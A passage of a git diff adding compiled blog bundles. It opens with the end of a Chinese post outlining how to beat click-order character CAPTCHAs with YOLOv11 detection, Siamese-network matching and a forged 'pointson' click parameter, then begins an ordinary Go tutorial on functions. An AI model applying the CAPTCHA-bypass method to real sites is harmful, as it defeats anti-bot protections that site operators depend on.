x1:x2]\n\n # \u4fdd\u5b58\u56fe\u7247\n save_path = f"cut_image_{idx}.jpg"\n cv2.imwrite(save_path, cropped_img)\n print(f"\u4fdd\u5b58\u56fe\u7247\u5230 {save_path}")\n\n pass\n'})}),"\n",(0,t.jsx)(n.h3,{id:"\u7528\u5b6a\u751f\u7f51\u7edc\u505a\u4e86\u4e2a\u6bd4\u4e00\u6bd4",children:"\u7528\u5b6a\u751f\u7f51\u7edc\u505a\u4e86\u4e2a\u6bd4\u4e00\u6bd4"}),"\n",(0,t.jsxs)(n.ul,{children:["\n",(0,t.jsxs)(n.li,{children:["\u524d\u9762\u6211\u4eec\u5df2\u7ecf\u7528 YOLOv11 \u628a\u9a8c\u8bc1\u7801\u56fe\u7247\u91cc\u7684 5 \u4e2a\u5b57\u62a0\u51fa\u6765\u4e86\uff0c\u4f46\u8fd9\u4e9b\u5b57\u662f\u56fe\u50cf\uff0c\u4e0d\u662f\u6587\u672c\u3002\u4e0e\u6b64\u540c\u65f6\uff0c\u9a8c\u8bc1\u7801\u7684\u63d0\u793a\u4fe1\u606f\uff08\u6bd4\u5982\u201c\u8bf7\u6309\u987a\u5e8f\u70b9\u51fb\uff1a\u5f3a\u3001\u5149\u3001\u7231\u3001\u56fd\u201d\uff09\u7ed9\u7684\u662f",(0,t.jsx)(n.strong,{children:"\u6587\u5b57\u5185\u5bb9"}),"\u3002"]}),"\n",(0,t.jsx)(n.li,{children:"\u6a21\u677f\u5b57\u4ece\u63d0\u793a\u533a\u57df\u622a\u51fa\u6765"}),"\n",(0,t.jsx)(n.li,{children:"\u6700\u7ec8\u6a21\u578b\u9009\u51fa\u5339\u914d\u5f97\u5206\u6700\u9ad8\u7684 4 \u4e2a\uff0c\u6309\u4f4d\u7f6e\u6392\u5e8f"}),"\n"]}),"\n",(0,t.jsx)(n.h3,{id:"\u56db\u751f\u6210\u6700\u7ec8\u7684-pointson-\u53c2\u6570",children:"\u56db\u3001\u751f\u6210\u6700\u7ec8\u7684 pointson \u53c2\u6570"}),"\n",(0,t.jsxs)(n.ul,{children:["\n",(0,t.jsx)(n.li,{children:"\u628a 4 \u4e2a\u5b57\u7684\u4f4d\u7f6e \u2192 \u751f\u6210 4 \u4e2a\u70b9\u5750\u6807"}),"\n",(0,t.jsx)(n.li,{children:"\u6309\u987a\u5e8f\u7ec4\u7ec7\u597d\u6784\u9020\u6210 pointson \u53c2\u6570"}),"\n",(0,t.jsx)(n.li,{children:"\u793a\u4f8b\u7ed3\u6784 or \u6293\u5305\u53c2\u8003\u4e00\u4e0b\u771f\u5b9e\u6837\u5b50"}),"\n"]}),"\n",(0,t.jsx)(n.h3,{id:"\u4e94\u7ed3\u679c\u8fd8\u884c\u5417",children:"\u4e94\u3001\u7ed3\u679c\u8fd8\u884c\u5417\uff1f"}),"\n",(0,t.jsxs)(n.ul,{children:["\n",(0,t.jsx)(n.li,{children:"\u6210\u529f\u7387\u6d4b\u8bd5"}),"\n",(0,t.jsx)(n.li,{children:"\u9519\u8bef\u7684\u4e3b\u8981\u70b9\u5728\u54ea\u513f\uff08\u8bc6\u522b\u4e0d\u51c6\uff1f\u5339\u914d\u5931\u8d25\uff1f\uff09"}),"\n",(0,t.jsx)(n.li,{children:"\u6709\u5565\u4f18\u5316\u7a7a\u95f4\uff08\u589e\u5f3a\u56fe\u50cf\u3001\u52a0\u6570\u636e\u3001\u591a\u8bad\u7ec3\uff09"}),"\n"]})]})}function h(e={}){const{wrapper:n}={...(0,a.R)(),...e.components};return n?(0,t.jsx)(n,{...e,children:(0,t.jsx)(d,{...e})}):d(e)}}}]); \ No newline at end of file diff --git a/en/assets/js/6877a81c.8cecc7f3.js b/en/assets/js/6877a81c.8cecc7f3.js new file mode 100644 index 0000000..d006baf --- /dev/null +++ b/en/assets/js/6877a81c.8cecc7f3.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[6728],{28453:(n,e,t)=>{t.d(e,{R:()=>l,x:()=>d});var r=t(96540);const c={},i=r.createContext(c);function l(n){const e=r.useContext(i);return r.useMemo(function(){return"function"==typeof n?n(e):{...e,...n}},[e,n])}function d(n){let e;return e=n.disableParentContext?"function"==typeof n.components?n.components(c):n.components||c:l(n.components),r.createElement(i.Provider,{value:e},n.children)}},68348:(n,e,t)=>{t.r(e),t.d(e,{assets:()=>s,contentTitle:()=>d,default:()=>x,frontMatter:()=>l,metadata:()=>r,toc:()=>a});const r=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u51fd\u6570","title":"\u51fd\u6570","description":"Go\u8bed\u8a00\u4e2d\u652f\u6301\u51fd\u6570\u3001\u533f\u540d\u51fd\u6570\u548c\u95ed\u5305\uff0c\u5e76\u4e14\u51fd\u6570\u5728Go\u8bed\u8a00\u4e2d\u5c5e\u4e8e\u201c\u4e00\u7b49\u516c\u6c11\u201d\u3002","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b/10.GoLang-\u51fd\u6570.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u51fd\u6570","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u51fd\u6570","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b/10.GoLang-\u51fd\u6570.md","tags":[],"version":"current","sidebarPosition":10,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"map","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-map"},"next":{"title":"Go\u8bed\u8a00\u6587\u4ef6\u64cd\u4f5c","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u6587\u4ef6io"}}');var c=t(74848),i=t(28453);const l={},d="\u51fd\u6570",s={},a=[{value:"\u51fd\u6570\u5b9a\u4e49",id:"\u51fd\u6570\u5b9a\u4e49",level:2},{value:"\u51fd\u6570\u7684\u8c03\u7528",id:"\u51fd\u6570\u7684\u8c03\u7528",level:2},{value:"\u53c2\u6570",id:"\u53c2\u6570",level:2},{value:"\u7c7b\u578b\u7b80\u5199",id:"\u7c7b\u578b\u7b80\u5199",level:3},{value:"\u53ef\u53d8\u53c2\u6570",id:"\u53ef\u53d8\u53c2\u6570",level:3},{value:"\u8fd4\u56de\u503c",id:"\u8fd4\u56de\u503c",level:2},{value:"\u591a\u8fd4\u56de\u503c",id:"\u591a\u8fd4\u56de\u503c",level:3},{value:"\u8fd4\u56de\u503c\u547d\u540d",id:"\u8fd4\u56de\u503c\u547d\u540d",level:3},{value:"\u8fd4\u56de\u503c\u8865\u5145",id:"\u8fd4\u56de\u503c\u8865\u5145",level:3},{value:"\u51fd\u6570\u8fdb\u9636",id:"\u51fd\u6570\u8fdb\u9636",level:2},{value:"\u53d8\u91cf\u4f5c\u7528\u57df",id:"\u53d8\u91cf\u4f5c\u7528\u57df",level:3},{value:"\u5168\u5c40\u53d8\u91cf",id:"\u5168\u5c40\u53d8\u91cf",level:4},{value:"\u5c40\u90e8\u53d8\u91cf",id:"\u5c40\u90e8\u53d8\u91cf",level:4},{value:"\u51fd\u6570\u7c7b\u578b\u4e0e\u53d8\u91cf",id:"\u51fd\u6570\u7c7b\u578b\u4e0e\u53d8\u91cf",level:3},{value:"\u5b9a\u4e49\u51fd\u6570\u7c7b\u578b",id:"\u5b9a\u4e49\u51fd\u6570\u7c7b\u578b",level:4},{value:"\u51fd\u6570\u7c7b\u578b\u53d8\u91cf",id:"\u51fd\u6570\u7c7b\u578b\u53d8\u91cf",level:4},{value:"\u9ad8\u9636\u51fd\u6570",id:"\u9ad8\u9636\u51fd\u6570",level:3},{value:"\u51fd\u6570\u4f5c\u4e3a\u53c2\u6570",id:"\u51fd\u6570\u4f5c\u4e3a\u53c2\u6570",level:4},{value:"\u51fd\u6570\u4f5c\u4e3a\u8fd4\u56de\u503c",id:"\u51fd\u6570\u4f5c\u4e3a\u8fd4\u56de\u503c",level:4},{value:"\u533f\u540d\u51fd\u6570\u548c\u95ed\u5305",id:"\u533f\u540d\u51fd\u6570\u548c\u95ed\u5305",level:3},{value:"\u533f\u540d\u51fd\u6570",id:"\u533f\u540d\u51fd\u6570",level:4},{value:"\u95ed\u5305",id:"\u95ed\u5305",level:4},{value:"defer\u8bed\u53e5",id:"defer\u8bed\u53e5",level:3},{value:"defer\u6267\u884c\u65f6\u673a",id:"defer\u6267\u884c\u65f6\u673a",level:4},{value:"defer\u7ecf\u5178\u6848\u4f8b",id:"defer\u7ecf\u5178\u6848\u4f8b",level:4},{value:"defer\u9762\u8bd5\u9898",id:"defer\u9762\u8bd5\u9898",level:4},{value:"\u5185\u7f6e\u51fd\u6570\u4ecb\u7ecd",id:"\u5185\u7f6e\u51fd\u6570\u4ecb\u7ecd",level:2},{value:"panic/recover",id:"panicrecover",level:3}];function f(n){const e={code:"code",h1:"h1",h2:"h2",h3:"h3",h4:"h4",header:"header",img:"img",li:"li",ol:"ol",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,i.R)(),...n.components};return(0,c.jsxs)(c.Fragment,{children:[(0,c.jsx)(e.header,{children:(0,c.jsx)(e.h1,{id:"\u51fd\u6570",children:"\u51fd\u6570"})}),"\n",(0,c.jsx)(e.p,{children:"Go\u8bed\u8a00\u4e2d\u652f\u6301\u51fd\u6570\u3001\u533f\u540d\u51fd\u6570\u548c\u95ed\u5305\uff0c\u5e76\u4e14\u51fd\u6570\u5728Go\u8bed\u8a00\u4e2d\u5c5e\u4e8e\u201c\u4e00\u7b49\u516c\u6c11\u201d\u3002"}),"\n",(0,c.jsx)(e.h2,{id:"\u51fd\u6570\u5b9a\u4e49",children:"\u51fd\u6570\u5b9a\u4e49"}),"\n",(0,c.jsxs)(e.p,{children:["Go\u8bed\u8a00\u4e2d\u5b9a\u4e49\u51fd\u6570\u4f7f\u7528",(0,c.jsx)(e.code,{children:"func"}),"\u5173\u952e\u5b57\uff0c\u5177\u4f53\u683c\u5f0f\u5982\u4e0b\uff1a"]}),"\n",(0,c.jsx)(e.pre,{children:(0,c.jsx)(e.code,{className:"language-go",children:"func \u51fd\u6570\u540d(\u53c2\u6570)(\u8fd4\u56de\u503c){\n \u51fd\u6570\u4f53\n}\n"})}),"\n",(0,c.jsx)(e.p,{children:"\u5176\u4e2d\uff1a"}),"\n",(0,c.jsxs)(e.ul,{children:["\n",(0,c.jsx)(e.li,{children:"\u51fd\u6570\u540d\uff1a\u7531\u5b57\u6bcd\u3001\u6570\u5b57\u3001\u4e0b\u5212\u7ebf\u7ec4\u6210\u3002\u4f46\u51fd\u6570\u540d\u7684\u7b2c\u4e00\u4e2a\u5b57\u6bcd\u4e0d\u80fd\u662f\u6570\u5b57\u3002\u5728\u540c\u4e00\u4e2a\u5305\u5185\uff0c\u51fd\u6570\u540d\u4e5f\u79f0\u4e0d\u80fd\u91cd\u540d\uff08\u5305\u7684\u6982\u5ff5\u8be6\u89c1\u540e\u6587\uff09\u3002"}),"\n",(0,c.jsxs)(e.li,{children:["\u53c2\u6570\uff1a\u53c2\u6570\u7531\u53c2\u6570\u53d8\u91cf\u548c\u53c2\u6570\u53d8\u91cf\u7684\u7c7b\u578b\u7ec4\u6210\uff0c\u591a\u4e2a\u53c2\u6570\u4e4b\u95f4\u4f7f\u7528",(0,c.jsx)(e.code,{children:","}),"\u5206\u9694\u3002"]}),"\n",(0,c.jsxs)(e.li,{children:["\u8fd4\u56de\u503c\uff1a\u8fd4\u56de\u503c\u7531\u8fd4\u56de\u503c\u53d8\u91cf\u548c\u5176\u53d8\u91cf\u7c7b\u578b\u7ec4\u6210\uff0c\u4e5f\u53ef\u4ee5\u53ea\u5199\u8fd4\u56de\u503c\u7684\u7c7b\u578b\uff0c\u591a\u4e2a\u8fd4\u56de\u503c\u5fc5\u987b\u7528",(0,c.jsx)(e.code,{children:"()"}),"\u5305\u88f9\uff0c\u5e76\u7528",(0,c.jsx)(e.code,{children:","}),"\u5206\u9694\u3002"]}),"\n",(0,c.jsx)(e.li,{children:"\u51fd\u6570\u4f53\uff1a\u5b9e\u73b0\u6307\u5b9a\u529f\u80fd\u7684\u4ee3\u7801\u5757\u3002"}),"\n"]}),"\n",(0,c.jsx)(e.p,{children:"\u6211\u4eec\u5148\u6765\u5b9a\u4e49\u4e00\u4e2a\u6c42\u4e24\u4e2a\u6570\u4e4b\u548c\u7684\u51fd\u6570\uff1a"}),"\n",(0,c.jsx)(e.pre,{children:(0,c.jsx)(e.code,{className:"language-go",children:"func intSum(x int, y int) int {\n\treturn x + y\n}\n"})}),"\n",(0,c.jsx)(e.p,{children:"\u51fd\u6570\u7684\u53c2\u6570\u548c\u8fd4\u56de\u503c\u90fd\u662f\u53ef\u9009\u7684\uff0c\u4f8b\u5982\u6211\u4eec\u53ef\u4ee5\u5b9e\u73b0\u4e00\u4e2a\u65e2\u4e0d\u9700\u8981\u53c2\u6570\u4e5f\u6ca1\u6709\u8fd4\u56de\u503c\u7684\u51fd\u6570\uff1a"}),"\n",(0,c.jsx)(e.pre,{children:(0,c.jsx)(e.code,{className:"language-go",children:'func sayHello() {\n\tfmt.Println("Hello \u6c99\u6cb3")\n}\n'})}),"\n",(0,c.jsx)(e.h2,{id:"\u51fd\u6570\u7684\u8c03\u7528",children:"\u51fd\u6570\u7684\u8c03\u7528"}),"\n",(0,c.jsxs)(e.p,{children:["\u5b9a\u4e49\u4e86\u51fd\u6570\u4e4b\u540e\uff0c\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7",(0,c.jsx)(e.code,{children:"\u51fd\u6570\u540d()"}),"\u7684\u65b9\u5f0f\u8c03\u7528\u51fd\u6570\u3002 \u4f8b\u5982\u6211\u4eec\u8c03\u7528\u4e0a\u9762\u5b9a\u4e49\u7684\u4e24\u4e2a\u51fd\u6570\uff0c\u4ee3\u7801\u5982\u4e0b\uff1a"]}),"\n",(0,c.jsx)(e.pre,{children:(0,c.jsx)(e.code,{className:"language-go",children:"func main() {\n\tsayHello()\n\tret := intSum(10, 20)\n\tfmt.Println(ret)\n}\n"})}),"\n",(0,c.jsx)(e.p,{children:"\u6ce8\u610f\uff0c\u8c03\u7528\u6709\u8fd4\u56de\u503c\u7684\u51fd\u6570\u65f6\uff0c\u53ef\u4ee5\u4e0d\u63a5\u6536\u5176\u8fd4\u56de\u503c\u3002"}),"\n",(0,c.jsx)(e.h2,{id:"\u53c2\u6570",children:"\u53c2\u6570"}),"\n",(0,c.jsx)(e.h3,{id:"\u7c7b\u578b\u7b80\u5199",children:"\u7c7b\u578b\u7b80\u5199"}),"\n",(0,c.jsx)(e.p,{children:"\u51fd\u6570\u7684\u53c2\u6570\u4e2d\u5982\u679c\u76f8\u90bb\u53d8\u91cf\u7684\u7c7b\u578b\u76f8\u540c\uff0c\u5219\u53ef\u4ee5\u7701\u7565\u7c7b\u578b\uff0c\u4f8b\u5982\uff1a"}),"\n",(0,c.jsx)(e.pre,{children:(0,c.jsx)(e.code,{className:"language-go",children:"func intSum(x, y int) int {\n\treturn x + y\n}\n"})}),"\n",(0,c.jsxs)(e.p,{children:["\u4e0a\u9762\u7684\u4ee3\u7801\u4e2d\uff0c",(0,c.jsx)(e.code,{children:"intSum"}),"\u51fd\u6570\u6709\u4e24\u4e2a\u53c2\u6570\uff0c\u8fd9\u4e24\u4e2a\u53c2\u6570\u7684\u7c7b\u578b\u5747\u4e3a",(0,c.jsx)(e.code,{children:"int"}),"\uff0c\u56e0\u6b64\u53ef\u4ee5\u7701\u7565",(0,c.jsx)(e.code,{children:"x"}),"\u7684\u7c7b\u578b\uff0c\u56e0\u4e3a",(0,c.jsx)(e.code,{children:"y"}),"\u540e\u9762\u6709\u7c7b\u578b\u8bf4\u660e\uff0c",(0,c.jsx)(e.code,{children:"x"}),"\u53c2\u6570\u4e5f\u662f\u8be5\u7c7b\u578b\u3002"]}),"\n",(0,c.jsx)(e.h3,{id:"\u53ef\u53d8\u53c2\u6570",children:"\u53ef\u53d8\u53c2\u6570"}),"\n",(0,c.jsxs)(e.p,{children:["\u53ef\u53d8\u53c2\u6570\u662f\u6307\u51fd\u6570\u7684\u53c2\u6570\u6570\u91cf\u4e0d\u56fa\u5b9a\u3002Go\u8bed\u8a00\u4e2d\u7684\u53ef\u53d8\u53c2\u6570\u901a\u8fc7\u5728\u53c2\u6570\u540d\u540e\u52a0",(0,c.jsx)(e.code,{children:"..."}),"\u6765\u6807\u8bc6\u3002"]}),"\n",(0,c.jsx)(e.p,{children:"\u6ce8\u610f\uff1a\u53ef\u53d8\u53c2\u6570\u901a\u5e38\u8981\u4f5c\u4e3a\u51fd\u6570\u7684\u6700\u540e\u4e00\u4e2a\u53c2\u6570\u3002"}),"\n",(0,c.jsx)(e.p,{children:"\u4e3e\u4e2a\u4f8b\u5b50\uff1a"}),"\n",(0,c.jsx)(e.pre,{children:(0,c.jsx)(e.code,{className:"language-go",children:"func intSum2(x ...int) int {\n\tfmt.Println(x) //x\u662f\u4e00\u4e2a\u5207\u7247\n\tsum := 0\n\tfor _, v := range x {\n\t\tsum = sum + v\n\t}\n\treturn sum\n}\n"})}),"\n",(0,c.jsx)(e.p,{children:"\u8c03\u7528\u4e0a\u9762\u7684\u51fd\u6570\uff1a"}),"\n",(0,c.jsx)(e.pre,{children:(0,c.jsx)(e.code,{className:"language-go",children:"ret1 := intSum2()\nret2 := intSum2(10)\nret3 := intSum2(10, 20)\nret4 := intSum2(10, 20, 30)\nfmt.Println(ret1, ret2, ret3, ret4) //0 10 30 60\n"})}),"\n",(0,c.jsx)(e.p,{children:"\u56fa\u5b9a\u53c2\u6570\u642d\u914d\u53ef\u53d8\u53c2\u6570\u4f7f\u7528\u65f6\uff0c\u53ef\u53d8\u53c2\u6570\u8981\u653e\u5728\u56fa\u5b9a\u53c2\u6570\u7684\u540e\u9762\uff0c\u793a\u4f8b\u4ee3\u7801\u5982\u4e0b\uff1a"}),"\n",(0,c.jsx)(e.pre,{children:(0,c.jsx)(e.code,{className:"language-go",children:"func intSum3(x int, y ...int) int {\n\tfmt.Println(x, y)\n\tsum := x\n\tfor _, v := range y {\n\t\tsum = sum + v\n\t}\n\treturn sum\n}\n"})}),"\n",(0,c.jsx)(e.p,{children:"\u8c03\u7528\u4e0a\u8ff0\u51fd\u6570\uff1a"}),"\n",(0,c.jsx)(e.pre,{children:(0,c.jsx)(e.code,{className:"language-go",children:"ret5 := intSum3(100)\nret6 := intSum3(100, 10)\nret7 := intSum3(100, 10, 20)\nret8 := intSum3(100, 10, 20, 30)\nfmt.Println(ret5, ret6, ret7, ret8) //100 110 130 160\n"})}),"\n",(0,c.jsx)(e.p,{children:"\u672c\u8d28\u4e0a\uff0c\u51fd\u6570\u7684\u53ef\u53d8\u53c2\u6570\u662f\u901a\u8fc7\u5207\u7247\u6765\u5b9e\u73b0\u7684\u3002"}),"\n",(0,c.jsx)(e.h2,{id:"\u8fd4\u56de\u503c",children:"\u8fd4\u56de\u503c"}),"\n",(0,c.jsxs)(e.p,{children:["Go\u8bed\u8a00\u4e2d\u901a\u8fc7",(0,c.jsx)(e.code,{children:"return"}),"\u5173\u952e\u5b57\u5411\u5916\u8f93\u51fa\u8fd4\u56de\u503c\u3002"]}),"\n",(0,c.jsx)(e.h3,{id:"\u591a\u8fd4\u56de\u503c",children:"\u591a\u8fd4\u56de\u503c"}),"\n",(0,c.jsxs)(e.p,{children:["Go\u8bed\u8a00\u4e2d\u51fd\u6570\u652f\u6301\u591a\u8fd4\u56de\u503c\uff0c\u51fd\u6570\u5982\u679c\u6709\u591a\u4e2a\u8fd4\u56de\u503c\u65f6\u5fc5\u987b\u7528",(0,c.jsx)(e.code,{children:"()"}),"\u5c06\u6240\u6709\u8fd4\u56de\u503c\u5305\u88f9\u8d77\u6765\u3002"]}),"\n",(0,c.jsx)(e.p,{children:"\u4e3e\u4e2a\u4f8b\u5b50\uff1a"}),"\n",(0,c.jsx)(e.pre,{children:(0,c.jsx)(e.code,{className:"language-go",children:"func calc(x, y int) (int, int) {\n\tsum := x + y\n\tsub := x - y\n\treturn sum, sub\n}\n"})}),"\n",(0,c.jsx)(e.h3,{id:"\u8fd4\u56de\u503c\u547d\u540d",children:"\u8fd4\u56de\u503c\u547d\u540d"}),"\n",(0,c.jsxs)(e.p,{children:["\u51fd\u6570\u5b9a\u4e49\u65f6\u53ef\u4ee5\u7ed9\u8fd4\u56de\u503c\u547d\u540d\uff0c\u5e76\u5728\u51fd\u6570\u4f53\u4e2d\u76f4\u63a5\u4f7f\u7528\u8fd9\u4e9b\u53d8\u91cf\uff0c\u6700\u540e\u901a\u8fc7",(0,c.jsx)(e.code,{children:"return"}),"\u5173\u952e\u5b57\u8fd4\u56de\u3002"]}),"\n",(0,c.jsx)(e.p,{children:"\u4f8b\u5982\uff1a"}),"\n",(0,c.jsx)(e.pre,{children:(0,c.jsx)(e.code,{className:"language-go",children:"func calc(x, y int) (sum, sub int) {\n\tsum = x + y\n\tsub = x - y\n\treturn\n}\n"})}),"\n",(0,c.jsx)(e.h3,{id:"\u8fd4\u56de\u503c\u8865\u5145",children:"\u8fd4\u56de\u503c\u8865\u5145"}),"\n",(0,c.jsx)(e.p,{children:"\u5f53\u6211\u4eec\u7684\u4e00\u4e2a\u51fd\u6570\u8fd4\u56de\u503c\u7c7b\u578b\u4e3aslice\u65f6\uff0cnil\u53ef\u4ee5\u770b\u505a\u662f\u4e00\u4e2a\u6709\u6548\u7684slice\uff0c\u6ca1\u5fc5\u8981\u663e\u793a\u8fd4\u56de\u4e00\u4e2a\u957f\u5ea6\u4e3a0\u7684\u5207\u7247\u3002"}),"\n",(0,c.jsx)(e.pre,{children:(0,c.jsx)(e.code,{className:"language-go",children:'func someFunc(x string) []int {\n\tif x == "" {\n\t\treturn nil // \u6ca1\u5fc5\u8981\u8fd4\u56de[]int{}\n\t}\n\t...\n}\n'})}),"\n",(0,c.jsx)(e.h2,{id:"\u51fd\u6570\u8fdb\u9636",children:"\u51fd\u6570\u8fdb\u9636"}),"\n",(0,c.jsx)(e.h3,{id:"\u53d8\u91cf\u4f5c\u7528\u57df",children:"\u53d8\u91cf\u4f5c\u7528\u57df"}),"\n",(0,c.jsx)(e.h4,{id:"\u5168\u5c40\u53d8\u91cf",children:"\u5168\u5c40\u53d8\u91cf"}),"\n",(0,c.jsx)(e.p,{children:"\u5168\u5c40\u53d8\u91cf\u662f\u5b9a\u4e49\u5728\u51fd\u6570\u5916\u90e8\u7684\u53d8\u91cf\uff0c\u5b83\u5728\u7a0b\u5e8f\u6574\u4e2a\u8fd0\u884c\u5468\u671f\u5185\u90fd\u6709\u6548\u3002 \u5728\u51fd\u6570\u4e2d\u53ef\u4ee5\u8bbf\u95ee\u5230\u5168\u5c40\u53d8\u91cf\u3002"}),"\n",(0,c.jsx)(e.pre,{children:(0,c.jsx)(e.code,{className:"language-go",children:'package main\n\nimport "fmt"\n\n//\u5b9a\u4e49\u5168\u5c40\u53d8\u91cfnum\nvar num int64 = 10\n\nfunc testGlobalVar() {\n\tfmt.Printf("num=%d\\n", num) //\u51fd\u6570\u4e2d\u53ef\u4ee5\u8bbf\u95ee\u5168\u5c40\u53d8\u91cfnum\n}\nfunc main() {\n\ttestGlobalVar() //num=10\n}\n'})}),"\n",(0,c.jsx)(e.h4,{id:"\u5c40\u90e8\u53d8\u91cf",children:"\u5c40\u90e8\u53d8\u91cf"}),"\n",(0,c.jsx)(e.p,{children:"\u5c40\u90e8\u53d8\u91cf\u53c8\u5206\u4e3a\u4e24\u79cd\uff1a \u51fd\u6570\u5185\u5b9a\u4e49\u7684\u53d8\u91cf\u65e0\u6cd5\u5728\u8be5\u51fd\u6570\u5916\u4f7f\u7528\uff0c\u4f8b\u5982\u4e0b\u9762\u7684\u793a\u4f8b\u4ee3\u7801main\u51fd\u6570\u4e2d\u65e0\u6cd5\u4f7f\u7528testLocalVar\u51fd\u6570\u4e2d\u5b9a\u4e49\u7684\u53d8\u91cfx\uff1a"}),"\n",(0,c.jsx)(e.pre,{children:(0,c.jsx)(e.code,{className:"language-go",children:'func testLocalVar() {\n\t//\u5b9a\u4e49\u4e00\u4e2a\u51fd\u6570\u5c40\u90e8\u53d8\u91cfx,\u4ec5\u5728\u8be5\u51fd\u6570\u5185\u751f\u6548\n\tvar x int64 = 100\n\tfmt.Printf("x=%d\\n", x)\n}\n\nfunc main() {\n\ttestLocalVar()\n\tfmt.Println(x) // \u6b64\u65f6\u65e0\u6cd5\u4f7f\u7528\u53d8\u91cfx\n}\n'})}),"\n",(0,c.jsx)(e.p,{children:"\u5982\u679c\u5c40\u90e8\u53d8\u91cf\u548c\u5168\u5c40\u53d8\u91cf\u91cd\u540d\uff0c\u4f18\u5148\u8bbf\u95ee\u5c40\u90e8\u53d8\u91cf\u3002"}),"\n",(0,c.jsx)(e.pre,{children:(0,c.jsx)(e.code,{className:"language-go",children:'package main\n\nimport "fmt"\n\n//\u5b9a\u4e49\u5168\u5c40\u53d8\u91cfnum\nvar num int64 = 10\n\nfunc testNum() {\n\tnum := 100\n\tfmt.Printf("num=%d\\n", num) // \u51fd\u6570\u4e2d\u4f18\u5148\u4f7f\u7528\u5c40\u90e8\u53d8\u91cf\n}\nfunc main() {\n\ttestNum() // num=100\n}\n'})}),"\n",(0,c.jsx)(e.p,{children:"\u63a5\u4e0b\u6765\u6211\u4eec\u6765\u770b\u4e00\u4e0b\u8bed\u53e5\u5757\u5b9a\u4e49\u7684\u53d8\u91cf\uff0c\u901a\u5e38\u6211\u4eec\u4f1a\u5728if\u6761\u4ef6\u5224\u65ad\u3001for\u5faa\u73af\u3001switch\u8bed\u53e5\u4e0a\u4f7f\u7528\u8fd9\u79cd\u5b9a\u4e49\u53d8\u91cf\u7684\u65b9\u5f0f\u3002"}),"\n",(0,c.jsx)(e.pre,{children:(0,c.jsx)(e.code,{className:"language-go",children:"func testLocalVar2(x, y int) {\n\tfmt.Println(x, y) //\u51fd\u6570\u7684\u53c2\u6570\u4e5f\u662f\u53ea\u5728\u672c\u51fd\u6570\u4e2d\u751f\u6548\n\tif x > 0 {\n\t\tz := 100 //\u53d8\u91cfz\u53ea\u5728if\u8bed\u53e5\u5757\u751f\u6548\n\t\tfmt.Println(z)\n\t}\n\t//fmt.Println(z)//\u6b64\u5904\u65e0\u6cd5\u4f7f\u7528\u53d8\u91cfz\n}\n"})}),"\n",(0,c.jsx)(e.p,{children:"\u8fd8\u6709\u6211\u4eec\u4e4b\u524d\u8bb2\u8fc7\u7684for\u5faa\u73af\u8bed\u53e5\u4e2d\u5b9a\u4e49\u7684\u53d8\u91cf\uff0c\u4e5f\u662f\u53ea\u5728for\u8bed\u53e5\u5757\u4e2d\u751f\u6548\uff1a"}),"\n",(0,c.jsx)(e.pre,{children:(0,c.jsx)(e.code,{className:"language-go",children:"func testLocalVar3() {\n\tfor i := 0; i < 10; i++ {\n\t\tfmt.Println(i) //\u53d8\u91cfi\u53ea\u5728\u5f53\u524dfor\u8bed\u53e5\u5757\u4e2d\u751f\u6548\n\t}\n\t//fmt.Println(i) //\u6b64\u5904\u65e0\u6cd5\u4f7f\u7528\u53d8\u91cfi\n}\n"})}),"\n",(0,c.jsx)(e.h3,{id:"\u51fd\u6570\u7c7b\u578b\u4e0e\u53d8\u91cf",children:"\u51fd\u6570\u7c7b\u578b\u4e0e\u53d8\u91cf"}),"\n",(0,c.jsx)(e.h4,{id:"\u5b9a\u4e49\u51fd\u6570\u7c7b\u578b",children:"\u5b9a\u4e49\u51fd\u6570\u7c7b\u578b"}),"\n",(0,c.jsxs)(e.p,{children:["\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528",(0,c.jsx)(e.code,{children:"type"}),"\u5173\u952e\u5b57\u6765\u5b9a\u4e49\u4e00\u4e2a\u51fd\u6570\u7c7b\u578b\uff0c\u5177\u4f53\u683c\u5f0f\u5982\u4e0b\uff1a"]}),"\n",(0,c.jsx)(e.pre,{children:(0,c.jsx)(e.code,{className:"language-go",children:"type calculation func(int, int) 